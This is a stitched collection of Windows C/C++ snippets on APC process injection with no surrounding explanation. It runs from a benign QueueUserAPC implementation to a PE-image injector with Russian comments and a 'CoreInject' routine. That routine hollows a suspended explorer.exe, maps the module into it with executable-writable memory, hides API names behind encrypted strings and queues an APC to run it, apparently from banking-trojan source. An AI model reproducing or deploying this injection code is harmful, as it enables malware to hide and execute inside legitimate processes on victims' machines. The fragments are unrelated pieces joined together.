/*********************************************************************** * QueueUserAPC (KERNEL32.@) */ DWORD WINAPI QueueUserAPC( PAPCFUNC func, HANDLE hthread, ULONG_PTR data ) { NTSTATUS status = NtQueueApcThread( hthread, call_user_apc, (ULONG_PTR)func, data, 0 ); if (status) SetLastError( RtlNtStatusToDosError(status) ); return !status; }
ESTATUS main_NtQueueApcThreadWrapper( HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3 ) { HMODULE hNtDll = NULL; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; _NtQueueApcThread NtQueueApcThread = NULL; NTSTATUS ntStatus = NULL; ESTATUS eReturn = ESTATUS_INVALID; // If user32.dll is not loaded, the ATOM functions return access denied. For more details see: // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html hUser32 = LoadLibrary(L"user32.dll"); hKernel32 = GetModuleHandle(L"kernel32.dll"); hNtDll = GetModuleHandle(L"ntdll.dll"); eReturn = GetFunctionAddressFromDll( NTDLL, NTQUEUEAPCTHREAD, (PVOID *) &NtQueueApcThread ); if (ESTATUS_FAILED(eReturn)) { goto lblCleanup; } ntStatus = NtQueueApcThread( hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3 ); if (0 != ntStatus) { printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus); eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED; goto lblCleanup; } eReturn = ESTATUS_SUCCESS; lblCleanup: return eReturn; }
BOOLEAN Inject::InjectImageToProcess(HANDLE ProcessHandle, PVOID ImageBase, DWORD ImageSize, HANDLE ThreadHandle) { NTSTATUS St; BOOLEAN Result = FALSE; DWORD64 RemoteImage; DWORD64 StartRoutine; if (CopyImageToProcess(ProcessHandle, ImageBase, ImageSize, &RemoteImage)) { StartRoutine = (DWORD64)PeLdr::PeGetProcAddress(ImageBase, ThreadHandle ? "InjectApcRoutine" : "InjectNormalRoutine", TRUE); if (StartRoutine) { StartRoutine = RemoteImage + (DWORD_PTR)StartRoutine; // Если есть поток вставляем апц (инжект в новый процесс) if (ThreadHandle) { #ifndef _WIN64 // Если мы 32 if (Utils::IsWow64(NtCurrentProcess())) { // A таргет 64 вставляем апц через гейт if (!Utils::IsWow64(ProcessHandle)) { St = x64Utils::x64NtQueueApcThread(ThreadHandle, StartRoutine, RemoteImage); if (NT_SUCCESS(St)) { Result = TRUE; } else { DbgMsg(__FUNCTION__"(): x64NtQueueApcThread failed: %08X\r\n", St); } } // А таргет 32 вставляем просто else { St = NtQueueApcThread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL); if (NT_SUCCESS(St)) { Result = TRUE; } else { DbgMsg(__FUNCTION__"(): NtQueueApcThread failed: %08X\r\n", St); } } } // Если мы 64 else #endif { #ifdef _WIN64 // А таргет 32 вставляем апц через вов64 враппер if (Utils::IsWow64(ProcessHandle)) { St = RtlQueueApcWow64Thread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL); if (NT_SUCCESS(St)) { Result = TRUE; } else { DbgMsg(__FUNCTION__"(): RtlQueueApcWow64Thread failed: %08X\r\n", St); } } // А таргет 64 вставляем просто else #endif { St = NtQueueApcThread(ThreadHandle, (PVOID)StartRoutine, (PVOID)RemoteImage, NULL, NULL); if (NT_SUCCESS(St)) { Result = TRUE; } else { DbgMsg(__FUNCTION__"(): NtQueueApcThread failed: %08X\r\n", St); } } } } #ifndef _WIN64 // Если нету потока создаем (инжект в существующий процесс) else { if (Utils::IsWow64(NtCurrentProcess()) && !Utils::IsWow64(ProcessHandle)) { St = x64Utils::x64RtlCreateUserThread(ProcessHandle, StartRoutine, RemoteImage, &ThreadHandle); if (NT_SUCCESS(St)) { Result = TRUE; CloseHandle(ThreadHandle); } else { DbgMsg(__FUNCTION__"(): x64RtlCreateUserThread failed: %08X\r\n", St); } } else { ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)StartRoutine, (PVOID)RemoteImage, 0, NULL); if (ThreadHandle) { Result = TRUE; CloseHandle(ThreadHandle); } else { DbgMsg(__FUNCTION__"(): CreateRemoteThread failed: %08X\r\n", GetLastError()); } } } #endif } } return Result; }
void* CoreInject::_copyModuleToExplorer(void *image) { #if defined _WIN64 PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #else PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #endif typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG); typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG); CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection); CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread); CSTR_GETW(slashexplorerdotexe, explorer_exe); tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection); tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread); WCHAR path[MAX_PATH]; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1); WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path); DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; bool ok = false; DWORD viewSize = imageSize; void* remoteMem = 0; if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL; //Выделние памяти для модуля. STARTUPINFOW st; PROCESS_INFORMATION pi; Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL); if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;} CWA(kernel32,TerminateProcess)(pi.hProcess,0); Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} //Verjacrinq, uxxum enq koder@ u bacum noric if(remoteMem != NULL) { //Создаем локальный буфер, в котором будем вносить измненеия. LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0); if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;} Mem::_copy(buf, image, imageSize); if(buf != NULL) { //Изменяем релоки. IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0) { DWORD_PTR delta = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase); DWORD_PTR oldDelta = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase); IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress); while(relHdr->VirtualAddress != 0) { if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это? { DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION)); for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i])))); *p -= oldDelta; *p += delta; } } relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock); } //Копируем образ в процесс. //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false; { //Указываем текущий модуль. if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE))) { WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current."); } { HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId); HANDLE newMutex; if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE) { WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process."); } } DWORD proccessFlags = 0; proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK); if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD))) { WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags."); } //coreData.globalHandles.stopEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent."); } //coreData.globalHandles.stopedEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent."); } } if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;} if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);}; CWA(kernel32,ResumeThread)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hProcess); } CWA(kernel32,UnmapViewOfFile)(buf); CWA(kernel32,CloseHandle)(hFile); } if(!ok) { remoteMem = NULL; } } return remoteMem; }